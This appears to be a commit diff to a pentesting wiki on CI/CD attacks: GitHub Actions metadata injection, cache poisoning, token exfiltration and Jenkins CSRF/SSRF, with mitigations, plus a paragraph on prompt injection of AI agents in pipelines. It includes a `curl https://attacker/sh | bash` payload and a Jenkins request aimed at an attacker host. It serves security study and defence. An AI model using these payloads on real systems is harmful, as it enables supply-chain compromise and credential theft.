You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
+72-2Lines changed: 72 additions & 2 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -230,6 +230,20 @@ It might look like because the **executed workflow** is the one defined in the *
230
230
231
231
An this one will have **access to secrets**.
232
232
233
+
#### YAML-to-shell injection & metadata abuse
234
+
235
+
- All fields under `github.event.pull_request.*` (title, body, labels, head ref, etc.) are attacker-controlled when the PR originates from a fork. When those strings are injected inside `run:` lines, `env:` entries, or `with:` arguments, an attacker can break shell quoting and reach RCE even though the repository checkout stays on the trusted base branch.
236
+
- Recent compromises such as Nx S1ingularity and Ultralytics used payloads like `title: "release\"; curl https://attacker/sh | bash #"` that get expanded in Bash before the intended script runs, letting the attacker exfiltrate npm/PyPI tokens from the privileged runner.
- Because the job inherits write-scoped `GITHUB_TOKEN`, artifact credentials, and registry API keys, a single interpolation bug is enough to leak long-lived secrets or push a backdoored release.
245
+
246
+
233
247
### `workflow_run`
234
248
235
249
The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger allows to run a workflow from a different one when it's `completed`, `requested` or `in_progress`.
@@ -255,6 +269,26 @@ TODO
255
269
256
270
TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR
257
271
272
+
### `issue_comment`
273
+
274
+
The `issue_comment` event runs with repository-level credentials regardless of who wrote the comment. When a workflow verifies that the comment belongs to a pull request and then checks out `refs/pull/<id>/head`, it grants arbitrary runner execution to any PR author that can type the trigger phrase.
This is the exact “pwn request” primitive that breached the Rspack org: the attacker opened a PR, commented `!canary`, the workflow ran the fork’s head commit with a write-capable token, and the job exfiltrated long-lived PATs that were later reused against sibling projects.
290
+
291
+
258
292
## Abusing Forked Execution
259
293
260
294
We have mentioned all the ways an external attacker could manage to make a github workflow to execute, now let's take a look about how this executions, if bad configured, could be abused:
@@ -426,6 +460,11 @@ If an account changes it's name another user could register an account with that
426
460
427
461
If other repositories where using **dependencies from this user repos**, an attacker will be able to hijack them Here you have a more complete explanation: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
GitHub Actions still encourages consumers to reference `uses: owner/action@v1`. If an attacker gains the ability to move that tag—through automatic write access, phishing a maintainer, or a malicious control handoff—they can retarget the tag to a backdoored commit and every downstream workflow executes it on its next run. The reviewdog / tj-actions compromise followed exactly that playbook: contributors auto-granted write access retagged `v1`, stole PATs from a more popular action, and pivoted into additional orgs.
466
+
467
+
429
468
---
430
469
431
470
## Repo Pivoting
@@ -435,7 +474,20 @@ If other repositories where using **dependencies from this user repos**, an atta
435
474
436
475
### Cache Poisoning
437
476
438
-
A cache is maintained between **wokflow runs in the same branch**. Which means that if an attacker **compromise** a **package** that is then stored in the cache and **downloaded** and executed by a **more privileged** workflow he will be able to **compromise** also that workflow.
477
+
GitHub exposes a cross-workflow cache that is keyed only by the string you supply to `actions/cache`. Any job (including ones with `permissions: contents: read`) can call the cache API and overwrite that key with arbitrary files. In Ultralytics, an attacker abused a `pull_request_target` workflow, wrote a malicious tarball into the `pip-${HASH}` cache, and the release pipeline later restored that cache and executed the trojanized tooling, which leaked a PyPI publishing token.
478
+
479
+
**Key facts**
480
+
481
+
- Cache entries are shared across workflows and branches whenever the `key` or `restore-keys` match. GitHub does not scope them to trust levels.
482
+
- Saving to the cache is allowed even when the job supposedly has read-only repository permissions, so “safe” workflows can still poison high-trust caches.
483
+
- Official actions (`setup-node`, `setup-python`, dependency caches, etc.) frequently reuse deterministic keys, so identifying the correct key is trivial once the workflow file is public.
484
+
- Restores are just zstd tarball extractions with no integrity checks, so poisoned caches can overwrite scripts, `package.json`, or other files under the restore path.
485
+
486
+
**Mitigations**
487
+
488
+
- Use distinct cache key prefixes per trust boundary (e.g., `untrusted-` vs `release-`) and avoid falling back to broad `restore-keys` that allow cross-pollination.
489
+
- Disable caching in workflows that process attacker-controlled input, or add integrity checks (hash manifests, signatures) before executing restored artifacts.
490
+
- Treat restored cache contents as untrusted until revalidated; never execute binaries/scripts directly from the cache.
439
491
440
492
{{#ref}}
441
493
gh-actions-cache-poisoning.md
@@ -598,6 +650,24 @@ jobs:
598
650
599
651
Tip: for stealth during testing, encrypt before printing (openssl is preinstalled on GitHub-hosted runners).
600
652
653
+
### Systematic CI token exfiltration & hardening
654
+
655
+
Once an attacker’s code executes inside a runner, the next step is almost always to steal every long-lived credential in sight so they can publish malicious releases or pivot into sibling repos. Typical targets include:
656
+
657
+
- Environment variables (`NPM_TOKEN`, `PYPI_TOKEN`, `GITHUB_TOKEN`, PATs for other orgs, cloud provider keys) and files such as `~/.npmrc`, `.pypirc`, `.gem/credentials`, `~/.git-credentials`, `~/.netrc`, and cached ADCs.
658
+
- Package-manager lifecycle hooks (`postinstall`, `prepare`, etc.) that run automatically inside CI, which provide a stealthy channel to exfiltrate additional tokens once a malicious release lands.
659
+
- “Git cookies” (OAuth refresh tokens) stored by Gerrit, or even tokens that ship inside compiled binaries, as seen in the DogWifTool compromise.
660
+
661
+
With a single leaked credential the attacker can retag GitHub Actions, publish wormable npm packages (Shai-Hulud), or republish PyPI artifacts long after the original workflow was patched.
662
+
663
+
**Mitigations**
664
+
665
+
- Replace static registry tokens with Trusted Publishing / OIDC integrations so each workflow gets a short-lived issuer-bound credential. When that is not possible, front tokens with a Security Token Service (e.g., Chainguard’s OIDC → short-lived PAT bridge).
666
+
- Prefer GitHub’s auto-generated `GITHUB_TOKEN` and repository permissions over personal PATs. If PATs are unavoidable, scope them to the minimal org/repo and rotate them frequently.
667
+
- Move Gerrit git cookies into `git-credential-oauth` or the OS keychain and avoid writing refresh tokens to disk on shared runners.
668
+
- Disable npm lifecycle hooks in CI (`npm config set ignore-scripts true`) so compromised dependencies can’t immediately run exfiltration payloads.
669
+
- Scan release artifacts and container layers for embedded credentials before distribution, and fail builds if any high-value token materializes.
670
+
601
671
### AI Agent Prompt Injection & Secret Exfiltration in CI/CD
602
672
603
673
LLM-driven workflows such as Gemini CLI, Claude Code Actions, OpenAI Codex, or GitHub AI Inference increasingly appear inside Actions/GitLab pipelines. As shown in [PromptPwnd](https://www.aikido.dev/blog/promptpwnd-github-actions-ai-agents), these agents often ingest untrusted repository metadata while holding privileged tokens and the ability to invoke `run_shell_command` or GitHub CLI helpers, so any field that attackers can edit (issues, PRs, commit messages, release notes, comments) becomes a control surface for the runner.
@@ -732,8 +802,8 @@ An organization in GitHub is very proactive in reporting accounts to GitHub. All
732
802
- [PromptPwnd: Prompt Injection Vulnerabilities in GitHub Actions Using AI Agents](https://www.aikido.dev/blog/promptpwnd-github-actions-ai-agents)
The GitHub Actions cache is global to a repository. Any workflow that knows a cache `key` (or `restore-keys`) can populate that entry, even if the job only has `permissions: contents: read`. GitHub does not segregate caches by workflow, event type, or trust level, so an attacker who compromises a low-privilege job can poison a cache that a privileged release job will later restore. This is how the Ultralytics compromise pivoted from a `pull_request_target` workflow into the PyPI publishing pipeline.
8
+
9
+
## Attack primitives
10
+
11
+
-`actions/cache` exposes both restore and save operations (`actions/cache@v4`, `actions/cache/save@v4`, `actions/cache/restore@v4`). The save call is allowed for any job except truly untrusted `pull_request` workflows triggered from forks.
12
+
- Cache entries are identified solely by the `key`. Broad `restore-keys` make it easy to inject payloads because the attacker only needs to collide with a prefix.
13
+
- Cache keys and versions are client-specified values; the cache service does not validate that a key/version matches a trusted workflow or cache path.
14
+
- The cache server URL + runtime token are long-lived relative to the workflow (historically ~6 hours, now ~90 minutes) and are not user-revocable. As of late 2024 GitHub blocks cache writes after the originating job completes, so attackers must write while the job is still running or pre-poison future keys.
15
+
- The cached filesystem is restored verbatim. If the cache contains scripts or binaries that are executed later, the attacker controls that execution path.
16
+
- The cache file itself is not validated on restore; it is just a zstd-compressed archive, so a poisoned entry can overwrite scripts, `package.json`, or other files under the restore path.
17
+
18
+
## Example exploitation chain
19
+
20
+
_Author workflow (`pull_request_target`) poisoned the cache:_
The second job now runs attacker-controlled code while holding release credentials (PyPI tokens, PATs, cloud deploy keys, etc.).
46
+
47
+
## Poisoning mechanics
48
+
49
+
GitHub Actions cache entries are typically zstd-compressed tar archives. You can craft one locally and upload it to the cache:
50
+
51
+
```bash
52
+
tar --zstd -cf poisoned_cache.tzstd cache/contents/here
53
+
```
54
+
55
+
On a cache hit, the restore action will extract the archive as-is. If the cache path includes scripts or config files that are executed later (build tooling, `action.yml`, `package.json`, etc.), you can overwrite them to gain execution.
56
+
57
+
## Practical exploitation tips
58
+
59
+
- Target workflows triggered by `pull_request_target`, `issue_comment`, or bot commands that still save caches; GitHub lets them overwrite repository-wide keys even when the runner only has read access to the repo.
60
+
- Look for deterministic cache keys reused across trust boundaries (for example, `pip-${{ hashFiles('poetry.lock') }}`) or permissive `restore-keys`, then save your malicious tarball before the privileged workflow runs.
61
+
- Monitor logs for `Cache saved` entries or add your own cache-save step so the next release job restores the payload and executes the trojanized scripts or binaries.
62
+
63
+
## References
64
+
65
+
-[A Survey of 2024–2025 Open-Source Supply-Chain Compromises and Their Root Causes](https://words.filippo.io/compromise-survey/)
66
+
-[The Monsters in Your Build Cache: GitHub Actions Cache Poisoning](http://adnanthekhan.com/2024/05/06/the-monsters-in-your-build-cache-github-actions-cache-poisoning/)
Copy file name to clipboardExpand all lines: src/pentesting-ci-cd/jenkins-security/README.md
+18-1Lines changed: 18 additions & 1 deletion
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -99,6 +99,24 @@ cd build_dumps
99
99
gitleaks detect --no-git -v
100
100
```
101
101
102
+
### FormValidation/TestConnection endpoints (CSRF to SSRF/credential theft)
103
+
104
+
Some plugins expose Jelly `validateButton` or `test connection` handlers under paths like `/descriptorByName/<Class>/testConnection`. When handlers **do not enforce POST or permission checks**, you can:
105
+
106
+
- Switch POST to GET and drop the Crumb to bypass CSRF checks.
107
+
- Trigger the handler as low-priv/anonymous if no `Jenkins.ADMINISTER` check exists.
108
+
- CSRF an admin and replace the host/URL parameter to exfiltrate credentials or trigger outbound calls.
109
+
- Use the response errors (e.g., `ConnectException`) as an SSRF/port-scan oracle.
110
+
111
+
Example GET (no Crumb) turning a validation call into SSRF/credential exfiltration:
112
+
113
+
```http
114
+
GET /descriptorByName/jenkins.plugins.openstack.compute.JCloudsCloud/testConnection?endPointUrl=http://attacker:4444/&credentialId=openstack HTTP/1.1
115
+
Host: jenkins.local:8080
116
+
```
117
+
118
+
If the plugin reuses stored creds, Jenkins will attempt to authenticate to `attacker:4444` and may leak identifiers or errors in the response. See: https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/
119
+
102
120
### **Stealing SSH Credentials**
103
121
104
122
If the compromised user has **enough privileges to create/modify a new Jenkins node** and SSH credentials are already stored to access other nodes, he could **steal those credentials** by creating/modifying a node and **setting a host that will record the credentials** without verifying the host key:
Copy file name to clipboardExpand all lines: src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md
+14-1Lines changed: 14 additions & 1 deletion
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -81,6 +81,19 @@ According to [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-m
81
81
82
82
**That is why in order to exfiltrate the credentials an attacker needs to, for example, base64 them.**
83
83
84
+
### Secrets in plugin/job configs on disk
85
+
86
+
Do not assume secrets are only in `credentials.xml`. Many plugins persist secrets in their **own global XML** under `$JENKINS_HOME/*.xml` or in per-job `$JENKINS_HOME/jobs/<JOB>/config.xml`, sometimes even in plaintext (UI masking does not guarantee encrypted storage). If you gain filesystem read access, enumerate those XMLs and search for obvious secret tags.
0 commit comments